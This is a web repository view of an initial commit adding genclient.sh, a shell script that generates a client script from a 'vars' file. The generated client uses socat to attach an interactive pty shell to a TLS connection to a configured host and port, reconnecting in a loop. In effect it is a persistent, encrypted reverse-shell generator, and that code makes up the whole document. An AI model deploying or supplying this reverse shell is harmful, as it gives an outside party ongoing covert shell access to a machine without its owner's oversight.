aboutsummaryrefslogtreecommitdiff
path: root/genclient.sh
diff options
context:
space:
mode:
authorMitch Riedstra <mitch@riedstra.us>2019-02-14 20:26:09 -0500
committerMitch Riedstra <mitch@riedstra.us>2019-02-14 20:26:09 -0500
commitbd13ba3f12da9721ae9e0a81af788a3f9d9bb8f8 (patch)
treed88c28b69dd421fdbbdc6833e9590c0a28ee4c0b /genclient.sh
downloadrshsh-bd13ba3f12da9721ae9e0a81af788a3f9d9bb8f8.tar.gz
rshsh-bd13ba3f12da9721ae9e0a81af788a3f9d9bb8f8.tar.xz
Initial
Diffstat (limited to 'genclient.sh')
-rwxr-xr-xgenclient.sh32
1 files changed, 32 insertions, 0 deletions
diff --git a/genclient.sh b/genclient.sh
new file mode 100755
index 0000000..9984a8b
--- /dev/null
+++ b/genclient.sh
@@ -0,0 +1,32 @@
+#!/bin/sh
+
+. ./vars
+
+help() {
+cat <<EOF
+Usage: $0
+
+ Generates a client shell script based on the variables set in 'vars'
+ and prints to stdout
+
+EOF
+exit 1;
+}
+
+while [ $# -gt 0 ] ; do case $1 in
+ *) help ;;
+esac; done
+
+cat <<EOF
+#!/bin/sh
+
+_shell="\$(which zsh mksh bash ksh zsh ash sh 2>/dev/null | sed 1q)"
+certificate='$(cat ${basename}.crt)'
+crt_tmp="\$(mktemp)"
+echo "\$certificate" > "\$crt_tmp"
+while [ $loop -ne 0 ] ; do
+socat exec:"\$_shell",pty,stderr,setsid,sigint,sane OPENSSL:$hostname:$port,verify=$verify,cafile=\$crt_tmp
+sleep $timeout
+done
+rm "\$crt_tmp"
+EOF